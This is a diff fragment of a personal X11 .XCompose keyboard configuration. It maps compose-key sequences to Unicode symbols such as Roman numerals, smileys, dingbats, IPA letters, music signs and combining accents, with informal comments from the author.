+<Multi_key> <percent> <l>		: "ⅼ"	U217C		# SMALL ROMAN NUMERAL FIFTY
+<Multi_key> <percent> <c>		: "ⅽ"	U217D		# SMALL ROMAN NUMERAL ONE HUNDRED
+<Multi_key> <percent> <d>		: "ⅾ"	U217E		# SMALL ROMAN NUMERAL FIVE HUNDRED
+<Multi_key> <percent> <m>		: "ⅿ"	U217F		# SMALL ROMAN NUMERAL ONE THOUSAND
+###
+<Multi_key> <percent> <0> <1>		: "Ⅰ"	U2160		# ROMAN NUMERAL ONE
+<Multi_key> <percent> <0> <2>		: "Ⅱ"	U2161		# ROMAN NUMERAL TWO
+<Multi_key> <percent> <0> <3>		: "Ⅲ"	U2162		# ROMAN NUMERAL THREE
+<Multi_key> <percent> <0> <4>		: "Ⅳ"	U2163		# ROMAN NUMERAL FOUR
+<Multi_key> <percent> <0> <5>		: "Ⅴ"	U2164		# ROMAN NUMERAL FIVE
+<Multi_key> <percent> <0> <6>		: "Ⅵ"	U2165		# ROMAN NUMERAL SIX
+<Multi_key> <percent> <0> <7>		: "Ⅶ"	U2166		# ROMAN NUMERAL SEVEN
+<Multi_key> <percent> <0> <8>		: "Ⅷ"	U2167		# ROMAN NUMERAL EIGHT
+<Multi_key> <percent> <0> <9>		: "Ⅸ"	U2168		# ROMAN NUMERAL NINE
+<Multi_key> <percent> <0> <x>		: "Ⅹ"	U2169		# ROMAN NUMERAL TEN
+# How do we handle eleven and twelve?
+<Multi_key> <percent> <underscore> <0> <1>	: "Ⅺ"	U216A	# ROMAN NUMERAL ELEVEL
+<Multi_key> <percent> <underscore> <0> <2>	: "Ⅻ"	U216B	# ROMAN NUMERAL TWELVE
+<Multi_key> <percent> <0> <l>		: "Ⅼ"	U216C		# ROMAN NUMERAL FIFTY
+<Multi_key> <percent> <0> <c>		: "Ⅽ"	U216D		# ROMAN NUMERAL ONE HUNDRED
+<Multi_key> <percent> <0> <d>		: "Ⅾ"	U216E		# ROMAN NUMERAL FIVE HUNDRED
+<Multi_key> <percent> <0> <m>		: "Ⅿ"	U216F		# ROMAN NUMERAL ONE THOUSAND
+<Multi_key> <percent> <X>		: "Ⅹ"	U2169		# ROMAN NUMERAL TEN
+<Multi_key> <percent> <L>		: "Ⅼ"	U216C		# ROMAN NUMERAL FIFTY
+<Multi_key> <percent> <C>		: "Ⅽ"	U216D		# ROMAN NUMERAL ONE HUNDRED
+<Multi_key> <percent> <D>		: "Ⅾ"	U216E		# ROMAN NUMERAL FIVE HUNDRED
+<Multi_key> <percent> <M>		: "Ⅿ"	U216F		# ROMAN NUMERAL ONE THOUSAND
+<Multi_key> <percent> <0> <C> <D>	: "ↀ"	U2180		# ROMAN NUMERAL ONE THOUSAND C D
+<Multi_key> <percent> <0> <D> 		: "ↁ"	U2181		# ROMAN NUMERAL FIVE THOUSAND
+<Multi_key> <percent> <0> <M>		: "ↂ"	U2182		# ROMAN NUMERAL TEN THOUSAND
+<Multi_key> <percent> <0> <0> <D>	: "ↇ"	U2187		# ROMAN NUMERAL FIFTY THOUSAND
+<Multi_key> <percent> <0> <0> <M>	: "ↈ"	U2188		# ROMAN NUMERAL ONE HUNDRED THOUSAND
+
+
+# Custom additions: for chat (kragen)
+<Multi_key> <parenleft> <colon>         : "☻"   U263B           # BLACK SMILING FACE
+<Multi_key> <colon> <parenright>        : "☺"   U263A           # WHITE SMILING FACE
+<Multi_key> <colon> <parenleft>         : "☹"   U2639           # WHITE FROWNING FACE
+<Multi_key> <colon> <asciitilde>	: "⍨"   U2368		# APL FUNCTIONAL SYMBOL TILDE DIAERESIS
+<Multi_key> <colon> <bar>		: "⸚"   U2E1A		# HYPHEN WITH DIAERESIS
+<Multi_key> <colon> <o> <o> <parenright>  :  "°͜°"    # Funny smiley-face.
+# Those are archaic cyrilic letters... but look so _perfect_ for use
+# in chat. And about the last, the "multiocular O"... Well, I don't
+# know what it can be used for, but given the description, how could I
+# leave it out‽
+# (I guess using U+1F440 EYES would be more straightforward, but not as funny?)
+<Multi_key> <O> <period> <O>		: "Ꙭ"	UA66C		# CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O * used in the dual of words based on the root for 'eye'
+<Multi_key> <o> <period> <o>		: "ꙭ"  UA66D		# CYRILLIC SMALL LETTER DOUBLE MONOCULAR O
+<Multi_key> <O> <colon>	 		: "Ꙫ"  UA66A		# CYRILLIC CAPITAL LETTER BINOCULAR O * used in the dual of words based on the root for 'eye'
+<Multi_key> <o> <colon> 		: "ꙫ"  UA66B 		# CYRILLIC SMALL LETTER BINOCULAR O
+<Multi_key> <o> <plus>			: "ꙮ"  UA66E		# CYRILLIC LETTER MULTIOCULAR O * used in the epithet 'many-eyed'
+# While we're doing stacks of circles with dots.
+<Multi_key> <o> <3>			: "߷"	U07F7		# NKO SYMBOL GBAKURUNEN
+<Multi_key> <exclam> <question>         : "‽"   U203D           # INTERROBANG
+<Multi_key> <question> <exclam>         : "⸘"	U2E18		# INVERTED INTERROBANG, standard now.
+<Multi_key> <questiondown> <exclamdown>	: "⸘"	U2E18		# INVERTED INTERROBANG (if you have a ¡ key.  Otherwise...? "?i" maybe?
+<Multi_key> <exclamdown> <questiondown>	: "⸘"	U2E18		# INVERTED INTERROBANG (if you have a ¡ key.  Otherwise...? "?i" maybe?
+<Multi_key> <question> <less>	      : "⸮"	  U2E2E		# REVERSED QUESTION MARK
+<Multi_key> <question> <BackSpace>      : "⸮"	  U2E2E		# REVERSED QUESTION MARK
+<Multi_key> <question> <ampersand> <question>	  : "⁇"	 U2047	# DOUBLE QUESTION MARK
+<Multi_key> <2> <question>	  : "⁇"	 U2047	# DOUBLE QUESTION MARK
+<Multi_key> <question> <ampersand> <exclam>	  : "⁈"	 U2048	# QUESTION EXCLAMATION MARK
+<Multi_key> <exclam> <ampersand> <question>	  : "⁉"	 U2049	# EXCLAMATION QUESTION MARK
+<Multi_key> <exclam> <ampersand> <exclam>	  : "‼"	 U203C	# DOUBLE EXCLAMATION MARK
+<Multi_key> <2> <exclam>	  : "‼"	 U203C	# DOUBLE EXCLAMATION MARK
+<Multi_key> <2> <colon>		  : "∷"	 U2237	# PROPORTION -- not strictly 2 times COLON
+<Multi_key> <semicolon> <less>	 		  : "⁏"	 U204F	# REVERSED SEMICOLON
+<Multi_key> <semicolon> <BackSpace>	 		  : "⁏"	 U204F	# REVERSED SEMICOLON
+# Keep looking into big hunks of Latin Extended-D, A720- et seq.
+<Multi_key> <less> <3>                  : "♥"  U2665            # BLACK HEART SUIT
+<Multi_key> <3> <3>			: "♣" U2663		# BLACK CLUB SUIT
+<Multi_key> <o> <8>			: "♣" U2663		# BLACK CLUB SUIT
+<Multi_key> <c> <3>			: "♣" U2663		# BLACK CLUB SUIT
+<Multi_key> <less> <greater>		: "♢" U2662		# WHITE DIAMOND SUIT
+<Multi_key> <3> <minus>		: "♠" U2660		# BLACK SPADE SUIT
+<Multi_key> <less> <braceright>	: "♠" U2660		# BLACK SPADE SUIT
+<Multi_key> <E> <greater>		: "♡" U2661		# WHITE HEART SUIT
+# "shamrock" is too long; there IS a limit to these!
+<Multi_key> <Multi_key> <s> <h> <m> <r> <c> <k>		: "☘" U2618   # SHAMROCK
+<Multi_key> <Multi_key> <s> <h> <a> <m> <r> <o>		: "☘" U2618   # SHAMROCK
+<Multi_key> <Multi_key> <p> <c>         : "☮"   U262E           # PEACE SYMBOL
+<Multi_key> <Multi_key> <p> <e> <a> <c> <e> : "☮"   U262E           # PEACE SYMBOL
+<Multi_key> <Multi_key> <y> <y>		: "☯" U262F		# YIN YANG
+<Multi_key> <Multi_key> <y> <i>	<n> <y> <a> <n>	: "☯" U262F	# YIN YANG
+# And now that we are into hearts...
+<Multi_key> <Left> <less> <3>           : "❥"  U2765            # ROTATED HEAVY BLACK HEART BULLET
+<Multi_key> <exclam> <less> <3>         : "❣"  U2763            # HEAVY HEART EXCLAMATION MARK ORNAMENT
+<Multi_key> <f> <less> <3>              : "❦"  U2766            # FLORAL HEART
+<Multi_key> <Left> <f> <less> <3>       : "❧"  U2767            # ROTATED FLORAL HEART BULLET
+<Multi_key> <Right> <f> <less> <3>      : "☙"  U2619            # REVERSED ROTATED FLORAL HEART BULLET
+<Multi_key> <Multi_key> <t> <e> <l>			: "☎" 	U260E		# BLACK TELEPHONE
+<Multi_key> <Multi_key> <t> <e> <a>		: "☕"	U2615		# HOT BEVERAGE
+# These last two bother me less, though they can still be improved.
+# Other possibly useful symbols:
+# 2668 HOT SPRINGS (for chat, for running off to shower?)
+# I want 2713-2714 and 2717-2718
+# We need a Dingbats prefix, for ❛❜❝❞❢
+<Multi_key> <bracketleft> <space> <bracketright> :	"☐"	U2610	# BALLOT BOX
+# Better keystrokes anyone?  This one breaks the pattern. [c]? [v]? [y]? [/]?
+<Multi_key> <Multi_key> <c> <h> <k>	      :	 "☑"  U2611		# BALLOT BOX WITH CHECK
+<Multi_key> <bracketleft> <slash> <bracketright>     :	 "☑"  U2611		# BALLOT BOX WITH CHECK
+<Multi_key> <bracketleft> <x> <bracketright>  :	 "☒"  U2612		# BALLOT BOX WITH X
+# @ for dingbats?
+<Multi_key> <at> <slash>	:	"✓"	U2713	# CHECK MARK
+<Multi_key> <at> <at> <slash>	:	"✔"	U2714	# HEAVY CHECK MARK
+<Multi_key> <at> <X>  		:	"✗"	U2717	# BALLOT X
+<Multi_key> <at> <at> <X>	:	"✘"	U2718	# HEAVY BALLOT X
+# Will I want <at> <at> for something else?
+# Now there is such a thing as text style and emoji style.  Use the
+# "dingbat prefix" in an unusual way:
+<Multi_key> <at> <Multi_key>	:	"️"	UFE0F		# Emoji selector
+<Multi_key> <exclam> <Multi_key>	:	"︎"		UFE0E	# Text selector
+# How about dice?
+<Multi_key> <bracketleft> <1> <bracketright>  :  "⚀"  U2680	# DIE FACE-1
+<Multi_key> <bracketleft> <2> <bracketright>  :  "⚁"  U2681	# DIE FACE-2
+<Multi_key> <bracketleft> <3> <bracketright>  :  "⚂"  U2682	# DIE FACE-3
+<Multi_key> <bracketleft> <4> <bracketright>  :  "⚃"  U2683	# DIE FACE-4
+<Multi_key> <bracketleft> <5> <bracketright>  :  "⚄"  U2684	# DIE FACE-5
+<Multi_key> <bracketleft> <6> <bracketright>  :  "⚅"  U2685	# DIE FACE-6
+# 267B BLACK UNIVERSAL RECYCLING SYMBOL
+
+# Keystrokes okay?
+<Multi_key> <Multi_key> <f> <d> <l>   	        : "⚜"	U269C	  # FLEUR-DE-LIS
+<Multi_key> <Multi_key> <a> <t> <o> <m>	        : "⚛"	U269B		# ATOM SYMBOL
+<Multi_key> <Multi_key> <c> <c> <c> <p>		: "☭" 	U262D		# HAMMER AND SICKLE
+<Multi_key> <slash> <exclam> <backslash> : "⚠"  U26A0           # WARNING SIGN
+<Multi_key> <exclam> <asciicircum>	: "⚠"	U26A0		# WARNING SIGN 
+<Multi_key> <Multi_key> <z> <a> <p>	  		: "⚡"	U26A1		# HIGH VOLTAGE SIGN 
+# Shouldn't use just <r><a> because it's too likely to be a prefix for
+# a useful word.
+<Multi_key> <Multi_key> <r> <a> <d>	: "☢"	U2622		# RADIOACTIVE SIGN
+<Multi_key> <Multi_key> <b> <h>		: "☣"	U2623		# BIOHAZARD SIGN
+<Multi_key> <Multi_key> <b> <i> <o> <h>	<a> <z>	: "☣"	U2623		# BIOHAZARD SIGN
+# Changing this from ⚝
+<Multi_key> <Multi_key> <A> <A> <A> <A> <A>	:	"⛤" U26E4 # PENTAGRAM (pentalpha, get it?)
+<Multi_key> <Multi_key> <p> <l> <a> <n> <e>	: "✈"   U2708	  # AIRPLANE
+<Multi_key> <Multi_key> <m> <a> <i> <l>		: "✉"	U2709	  # ENVELOPE
+<Multi_key> <Multi_key> <w> <h> <l> <c> <h>	: "♿"	U267F	  # WHEELCHAIR SYMBOL
+<Multi_key> <Multi_key> <m> <e> <d> 		: "☤"	U2624	  # CADEUCEUS
+# Something different for STAFF OF AESCULAPIUS?
+<Multi_key> <Multi_key> <1> <m> <e> <d>		: "⚕"	U2695	# STAFF OF AESCULAPIUS
+# 26B0 COFFIN ?
+# One of the SNOWFLAKEs?
+# SNOWMAN? COMET? ANCHOR?
+# Maybe if we go with having a "word" symbol and spelling out lots and 
+# lots of whole words, we can have all the planets.
+#
+# I already have STAR OF DAVID on another map.
+# 231A, 231B -- WATCH and HOURGLASS -- one should be &-w-a-i-t
+# 23D4 METRICAL LONG OVER TWO SHORTS a.k.a. METRICAL BOOBS
+# 0950 DEVANAGARI OM?
+# 212E ESTIMATED SYMBOL?
+# 2324 UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS a.k.a. NOT AMUSED
+# 237E BELL SYMBOL a.k.a. ALIENS LANDING
+
+<Multi_key> <o> <minus> <plus>		: "♀"	U2640		# FEMALE SIGN
+<Multi_key> <o> <minus> <greater>	: "♂"	U2642		# MALE SIGN
+
+<Multi_key> <Multi_key> <g> <a> <y>                 :   "⚣"     U26A3   # DOUBLED MALE SIGN
+<Multi_key> <Multi_key> <l> <e> <s> <b> <i> <a> <n> :   "⚢"     U26A2   # DOUBLED FEMALE SIGN
+<Multi_key> <Multi_key> <h> <e> <t> <e> <r> <o>     :   "⚤"     U26A4   # INTERLOCKED FEMALE AND MALE SIGN
+
+# 'trans': short for transgender/transexual
+# 'genderq': short for genderqueer.
+# Wasn't sure which to call which symbol, and wanted to include both
+<Multi_key> <Multi_key> <t> <r> <a> <n> <s>         :   "⚥"     U26A5   # MALE AND FEMALE SIGN
+<Multi_key> <Multi_key> <g> <e> <n> <d> <e> <r> <q> :   "⚧"     U26A7   # MALE WITH STROKE AND MALE AND FEMALE SIGN
+
+
+<Multi_key> <O> <X>: 			"☠" U2620 # SKULL AND CROSSBONES
+<Multi_key> <Multi_key> <d> <e> <a> <t> <h>:	  "☠" U2620 # SKULL AND CROSSBONES
+<Multi_key> <Multi_key> <X> <b> <o> <n> <e> <s>:	  "☠" U2620 # SKULL AND CROSSBONES
+<Multi_key> <Multi_key> <k> <b> <d> :	"⌨"	  U2328	    # KEYBOARD
+<Multi_key> <Multi_key> <r> <h> <a> <n> <d>	: "☞" U261E # WHITE RIGHT POINTING INDEX
+<Multi_key> <Multi_key> <l> <h> <a> <n> <d>	: "☜" U261C # WHITE LEFT POINTING INDEX
+<Multi_key> <asterisk> <asterisk>	:"★" U2605 # BLACK STAR
+<Multi_key> <asterisk> <0>	:"☆" U2606 # WHITE STAR
+<Multi_key> <asterisk> <minus>	:"✪" U272A # CIRCLED WHITE STAR
+<Multi_key> <asterisk> <3>	:"⁂" U2042 # ASTERISM
+<Multi_key> <3> <asterisk>	:"⁂" U2042 # ASTERISM
+<Multi_key> <2> <asterisk>	:"⁑" U2051 # TWO ASTERISKS ALIGNED VERTICALLY
+<Multi_key> <asterisk> <4>      :"✢"  U2722  # FOUR TEARDROP-SPOKED ASTERISK
+<Multi_key> <asterisk> <6>	:"✡" U2721 # STAR OF DAVID
+<Multi_key> <asterisk> <numbersign>	:"✯" U272F # PINWHEEL STAR
+<Multi_key> <asterisk> <exclam>	:"✱" U2731 # HEAVY ASTERISK
+<Multi_key> <less> <X> <greater> :  "❖"	U2756	# BLACK DIAMOND MINUS WHITE X
+<Multi_key> <at> <numbersign>	: "⌘" U2318	# PLACE OF INTEREST SIGN
+# Using backslash-minus-slash etc. conflicts with combining accents.
+<Multi_key> <grave> <minus> <apostrophe>	 : "⚞"	U269E  # THREE LINES CONVERGING RIGHT
+<Multi_key> <apostrophe> <minus> <grave>	 : "⚟"	U269F  # THREE LINES CONVERGING LEFT
+<Multi_key> <Multi_key> <B> <e> <l> <l> <s> <y> <m>	: "⍾" U237E  # BELL SYMBOL (or ALIENS LANDING) -- &-a-l-i-e-n ?
+# Other monstery characters... ѪꙚ (alien abductions?)
+# ඏൠഋ & others from Kannada et al...?
+# Can't use -^- for this; conflicts with -^ for ↑, and getting those arrows
+# workable was complicated enough.  How about this?
+<Multi_key> <underscore> <asciicircum> <underscore>	: "⌤" U2324  # UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS; aka ENTER KEY, aka NOT AMUSED.
+<Multi_key> <Multi_key> <w> <a> <i> <t>		: "⌛" U231B   # HOURGLASS
+<Multi_key> <Multi_key> <h> <o> <u> <r>		: "⌛" U231B   # HOURGLASS
+<Multi_key> <Multi_key> <t> <i> <m> <e>		: "⌚" U231A   # WATCH
+<Multi_key> <Multi_key> <w> <a> <t> <c> <h>	: "⌚" U231A   # WATCH
+<Multi_key> <space> <N>		  : " "	U2002  # EN SPACE
+<Multi_key> <space> <M>		  : " " U2003  # EM SPACE
+<Multi_key> <space> <3> <M>	  : " "	U2004  # THREE-PER-EM SPACE
+<Multi_key> <space> <4> <M>	  : " "	U2005  # FOUR-PER-EM SPACE
+<Multi_key> <parenleft> <parenright>: "◌" U25CC # DOTTED CIRCLE
+<Multi_key> <bracketleft> <bracketright>: "⬚" U2B1A # DOTTED SQUARE
+<Multi_key> <asterisk> <parenleft>      : "﴾"   UFD3E           # ORNATE LEFT PARENTHESIS
+<Multi_key> <asterisk> <parenright>     : "﴿"   UFD3F           # ORNATE RIGHT PARENTHESIS
+<Multi_key> <k> <s>                     : "ʘ"   U0298           # LATIN LETTER BILABIAL CLICK (kiss sound)
+<Multi_key> <bar> <greater>             : "‣"   U2023           # TRIANGULAR BULLET
+#SUPERSCRIPTS:
+#To avoid namespace clashes, <asciicircum> is doubled (will I regret that?)
+<Multi_key> <asciicircum> <asciicircum> <h>       : "ʰ"   U02B0           # SUPERSCRIPT H
+<Multi_key> <asciicircum> <asciicircum> <i>       : "ⁱ"   U2071           # SUPERSCRIPT I
+<Multi_key> <asciicircum> <asciicircum> <j>       : "ʲ"   U02B2           # SUPERSCRIPT J
+<Multi_key> <asciicircum> <asciicircum> <n>       : "ⁿ"   U207F           # SUPERSCRIPT N
+<Multi_key> <asciicircum> <asciicircum> <r>       : "ʳ"   U02B3           # SUPERSCRIPT R
+<Multi_key> <asciicircum> <asciicircum> <w>       : "ʷ"   U02B7           # SUPERSCRIPT W
+<Multi_key> <asciicircum> <asciicircum> <y>       : "ʸ"   U02B8           # SUPERSCRIPT Y
+# So I can use yᵗ/þᵗ and yᵉ/þᵉ
+<Multi_key> <asciicircum> <asciicircum> <e>	  : "ᵉ"	  U1D49		  # MODIFIER LETTER SMALL E
+<Multi_key> <asciicircum> <asciicircum> <t>	  : "ᵗ"	  U1D57		  # MODIFIER LETTER SMALL T
+# Abbreviation for "that":
+<Multi_key> <U00FE> <t>	  			  : "ꝥ"	  UA765		  # LATIN SMALL LETTER THORN WITH STROKE
+#Maybe add: ˀˁ˃˂  Need to be able to talk about ʔˁ...
+<Multi_key> <asciicircum> <question> <period>	: "ˀ"	U02C0	# MODIFIER LETTER GLOTTAL STOP
+<Multi_key> <asciicircum> <question> <parenleft> : "ˁ"	U02C1	# MODIFIER LETTER REVERSED GLOTTAL STOP
+<Multi_key> <asciicircum> <minus>       : "⁻"   U207B           # SUPERSCRIPT MINUS
+<Multi_key> <asciicircum> <plus>	: "⁺"	U207A		# SUPERSCRIPT PLUS
+
+<Multi_key> <asciitilde> <asciitilde>        : "≈"  U2248           # ALMOST EQUAL TO
+<Multi_key> <s> <h>			: "ʃ"	U0283		# LATIN SMALL LETTER ESH
+<Multi_key> <z> <h>			: "ʒ"	U0292		# LATIN SMALL LETTER EZH
+<Multi_key> <l> <h>    			: "ɬ"	U026C		# LATIN SMALL LETTER L WITH BELT
+<Multi_key> <l> <3>			: "ɮ"	U026E		# LATIN SMALL LETTER LEZH
+<Multi_key> <y> <g>			: "ȝ"	U021D		# LATIN SMALL LETTER YOGH
+<Multi_key> <Y> <G>			: "Ȝ"	U021C		# LATIN CAPITAL LETTER YOGH
+<Multi_key> <question> <period>		: "ʔ"	U0294		# LATIN LETTER GLOTTAL STOP
+<Multi_key> <question> <parenleft>	: "ʕ"	U0295		# LATIN LETTER PHARYNGEAL VOICED FRICATIVE
+# Not great keystrokes...
+<Multi_key> <question> <v>		: "ʖ"	U0296		# LATIN LETTER INVERTED GLOTTAL STOP
+<Multi_key> <question> <minus>		: "ʡ"	U02A1		# LATIN LETTER GLOTTAL STOP WITH STROKE
+<Multi_key> <question> <braceleft>	: "ʢ"	U02A2		# LATIN LETTER REVERSED GLOTTAL STOP WITH STROKE
+# How about ɸ? φ isn’t the IPA glyph.
+<Multi_key> <p> <h>			: "ɸ"	U0278		# LATIN SMALL LETTER PHI
+<Multi_key> <i> <h>    			: "ɪ"	U026A		# LATIN LETTER SMALL CAPITAL I
+<Multi_key> <I> <H>    			: "ɪ"	U026A		# LATIN LETTER SMALL CAPITAL I
+<Multi_key> <u> <h>			: "ʊ"	U028A		# LATIN SMALL LETTER UPSILON
+<Multi_key> <U> <H>			: "ʊ"	U028A		# LATIN SMALL LETTER UPSILON
+<Multi_key> <a> <h>			: "ɑ"	U0251		# LATIN SMALL LETTER ALPHA
+<Multi_key> <e> <r>			: "ɚ"	U025A		# LATIN SMALL LETTER SCHWA WITH HOOK
+<Multi_key> <o> <parenright>		:"ɔ" 	U0254 		# LATIN SMALL LETTER OPEN O
+<Multi_key> <a> <w>			: "ɔ"	U0254		# LATIN SMALL LETTER OPEN O
+<Multi_key> <O> <parenright>		:"Ɔ" 	U0186 		# LATIN CAPITAL LETTER OPEN O
+<Multi_key> <A> <W>			: "Ɔ"	U0186		# LATIN CAPITAL LETTER OPEN O
+<Multi_key> <e> <h>   	    	    	: "ɛ"   U025B		# LATIN SMALL LETTER OPEN E
+# Have to put the <less> at the beginning for these.
+<Multi_key> <less> <e> <h>		: "ɜ"	U025C		# LATIN SMALL LETTER REVERSED OPEN E
+<Multi_key> <BackSpace> <e> <h>		: "ɜ"	U025C		# LATIN SMALL LETTER REVERSED OPEN E
+<Multi_key> <less> <e> <r>		: "ɝ"	U025D		# LATIN SMALL LETTER REVERSED OPEN E WITH HOOK
+<Multi_key> <BackSpace> <e> <r>		: "ɝ"	U025D		# LATIN SMALL LETTER REVERSED OPEN E WITH HOOK
+# It's spelled "gy" in Hungarian...
+<Multi_key> <g> <y>			: "ɟ"	U025F		# LATIN SMALL LETTER DOTLESS J WITH STROKE
+# How are these keystrokes?
+<Multi_key> <bar> <apostrophe>		: "ˈ"	U02C8		# MODIFIER LETTER VERTICAL LINE
+<Multi_key> <bar> <comma>		: "ˌ"	U02CC		# MODIFIER LETTER LOW VERTICAL LINE
+<Multi_key> <bar> <underscore>		: "̩"	U0329		# COMBINING VERTICAL LINE BELOW
+# Harmonize with other combiners.
+<Multi_key> <backslash> <underscore> <bar>	: "̩"	U0329		# COMBINING VERTICAL LINE BELOW
+<Multi_key> <r> <r>                     : "ɹ"   U0279           # LATIN SMALL LETTER TURNED R: voiced alveolar approximant (American English (at least) R)
+<Multi_key> <r> <d>                     : "ɾ"   U027E           # LATIN SMALL LETTER R WITH FISHHOOK: voiced alveolar flap or tap (American English intervocalic allophone of d, or Spanish r)
+<Multi_key> <v> <v>                     : "ʌ"   U028C           # LATIN SMALL LETTER TURNED V
+<Multi_key> <u> <i>			: "ɯ"	U026F		# LATIN SMALL LETTER TURNED M
+# doubling a letter seems to be mostly used for turning
+<Multi_key> <w> <w>			: "ʍ"	U028D		# LATIN SMALL LETTER TURNED W
+<Multi_key> <y> <y>			: "ʎ"	U028E		# LATIN SMALL LETTER TURNED Y
+<Multi_key> <a> <a>			: "ɐ"	U0250		# LATIN SMALL LETTER TURNED A
+# ı is already available in the "standard" .XCompose
+<Multi_key> <j> <period>    		: "ȷ"	U0237		# LATIN SMALL LETTER DOTLESS J
+# I'll use capitals for a different double
+<Multi_key> <W> <W>			: "ʬ"	U02AC		# LATIN LETTER BILABIAL PERCUSSIVE
+# Sorry, I miss having this and hate having to use colon instead:
+<Multi_key> <colon> <plus>  	      	: "ː"	U02D0		# MODIFIER LETTER TRIANGULAR COLON
+# Also handy for writing urls: http://ʬw.omniglot.com/
+# ɣ? ᴥ?  Important enough to add? ᴥ is cool just as a "latin" letter.
+<Multi_key> <g> <h>	     	    : "ɣ"   U0263     # LATIN SMALL LETTER GAMMA
+# It looks like a ɣ and makes an "o" sorta sound:
+<Multi_key> <o> <g> <h>	      	    : "ɤ"  U0264      # LATIN SMALL LETTER RAMS HORN
+<Multi_key> <a> <i> <n>		    : "ᴥ"   U1D25     # LATIN LETTER AIN
+# Sometimes it's a "tail", sometimes a "hook", and sometimes a "retroflex hook"
+<Multi_key> <d> <comma>		    : "ɖ"   U0256     # LATIN SMALL LETTER D WITH TAIL
+<Multi_key> <l> <comma>		    : "ɭ"   U026D     # LATIN SMALL LETTER L WITH RETROFLEX HOOK
+<Multi_key> <n> <comma>		    : "ɳ"   U0273     # LATIN SMALL LETTER N WITH RETROFLEX HOOK
+<Multi_key> <s> <comma>		    : "ʂ"   U0282     # LATIN SMALL LETTER S WITH HOOK
+<Multi_key> <t> <comma>		    : "ʈ"   U0288     # LATIN SMALL LETTER T WITH RETROFLEX HOOK
+<Multi_key> <z> <comma>		    : "ʐ"   U0290     # LATIN SMALL LETTER Z WITH RETROFLEX HOOK
+# This is used for functions, folders, etc.  Yeah, the hook's facing wrong.
+<Multi_key> <f> <comma>		    : "ƒ"   U0192     # LATIN SMALL LETTER F WITH HOOK
+# Sigh, might as well do implosives.  Which is also sometimes a hook.
+<Multi_key> <b> <apostrophe>	    : "ɓ"   U0253     # LATIN SMALL LETTER B WITH HOOK
+<Multi_key> <d> <apostrophe>	    : "ɗ"   U0257     # LATIN SMALL LETTER D WITH HOOK
+<Multi_key> <g> <apostrophe>	    : "ɠ"   U0260     # LATIN SMALL LETTER G WITH HOOK
+<Multi_key> <g> <g>		    : "ɡ"   U0261     # LATIN SMALL LETTER SCRIPT G
+# The h looks the same...
+<Multi_key> <h> <apostrophe>	    : "ɦ"   U0266     # LATIN SMALL LETTER H WITH HOOK
+<Multi_key> <G> <apostrophe>	    : "ʛ"   U029B     # LATIN LETTER SMALL CAPITAL G WITH HOOK
+<Multi_key> <N> <o>			: "№"	U2116		# NUMERO SIGN
+<Multi_key> <R> <x>			: "℞"	U211E		# PRESCRIPTION TAKE
+<Multi_key> <P> <e> <r>			: "⅌"	U214C		# PER SIGN
+<Multi_key> <o> <z> <period>		: "℥"	U2125		# OUNCE SIGN
+<Multi_key> <s> <c> <r> <period>	: "℈"	U2108		# SCRUPLE
+# There are all kinds of awesome combining characters in the U+0300 page.
+# There are a bunch of other awesome combining characters like U+20E0
+<Multi_key> <asterisk> <period> <period> <period> : "๛" U0E5B   # THAI CHARACTER KHOMUT (end of chapter)
+#
+# Music stuff.  # is the music mnemonic.
+<Multi_key> <numbersign> <b>		: "♭" U266d # MUSIC FLAT SIGN
+<Multi_key> <numbersign> <f>		: "♮" U266e # MUSIC NATURAL SIGN
+<Multi_key> <numbersign> <equal>	: "♮" U266e # MUSIC NATURAL SIGN
+<Multi_key> <numbersign> <numbersign>	: "♯" U266f # MUSIC SHARP SIGN
+<Multi_key> <numbersign> <G>             : "𝄞"  U0001d11e # MUSICAL SYMBOL G CLEF
+<Multi_key> <numbersign> <F>              : "𝄢"  U0001d122 # MUSICAL SYMBOL F CLEF
+<Multi_key> <numbersign> <C>              : "𝄡" U0001d121 # MUSICAL SYMBOL C CLEF
+<Multi_key> <numbersign> <o> <slash>	: "♪" U266a	# EIGHTH NOTE
+<Multi_key> <numbersign> <o> <o>	: "♫" U266b	# BEAMED EIGHTH NOTES
+<Multi_key> <numbersign> <percent>	: "♫" U266b	# BEAMED EIGHTH NOTES
+
+
+# Combining accents, for making things you don't have precomposed chars or keystrokes for:
+<Multi_key> <backslash> <grave>	: "̀"  U0300   # COMBINING GRAVE ACCENT
+<Multi_key> <backslash> <apostrophe>    : "́"   U0301   # COMBINING ACUTE ACCENT
+<Multi_key> <backslash> <asciicircum>    : "̂"   U0302   # COMBINING CIRCUMFLEX ACCENT
+<Multi_key> <backslash> <asciitilde>       : "̃"   U0303	# COMBINING TILDE
+<Multi_key> <backslash> <equal>		: "̄"	U0304	# COMBINING MACRON
+<Multi_key> <backslash> <backslash> <equal>		: "̅"	U0305	# COMBINING OVERLINE -- ???
+<Multi_key> <backslash> <U>		: "̆"	U0306	# COMBINING BREVE
+<Multi_key> <backslash> <period>	: "̇"	U0307	# COMBINING DOT ABOVE
+<Multi_key> <backslash> <quotedbl>	: "̈"	U0308	# COMBINING DIAERESIS
+<Multi_key> <backslash> <question>	: "̉"	U0309	# COMBINING HOOK ABOVE
+<Multi_key> <backslash> <o>		: "̊"	U030a	# COMBINING RING ABOVE
+# That now conflicts with the new 🙌 in the system xcompose.  Alternative:
+<Multi_key> <backslash> <0>   	       	: "̊"	U030a	# COMBINING RING ABOVE
+<Multi_key> <backslash> <backslash> <apostrophe>	: "̋"	U030b	# COMBINING DOUBLE ACUTE ACCENT -- ??
+<Multi_key> <backslash> <c>		: "̌"	U030c	# COMBINING CARON
+<Multi_key> <backslash> <bar>       	: "̍"	U030d	# COMBINING VERTICAL LINE ABOVE
+<Multi_key> <backslash> <2> <bar>	: "̎"	U030e	# COMBINING DOUBLE VERTICAL LINE ABOVE
+<Multi_key> <backslash> <2> <grave>	: "̏"	U030f	# COMBINING DOUBLE GRAVE ACCENT
+# For writing PSILI and DASIA in Greek
+# Ugh, better key-coding?  I may need @ for BELOW.
+<Multi_key> <backslash> <backslash> <backslash> <comma>	:	"̒"  U0312   # COMBINING TURNED COMMA ABOVE
+<Multi_key> <backslash> <backslash> <comma>	:	"̓"  U0313   # COMBINING COMMA ABOVE
+<Multi_key> <backslash> <backslash> <less> <comma>	:	"̔"   U0314   # COMBINING REVERSED COMMA ABOVE
+<Multi_key> <backslash> <f> <m>                 : "͒"   U0352   # COMBINING FERMATA
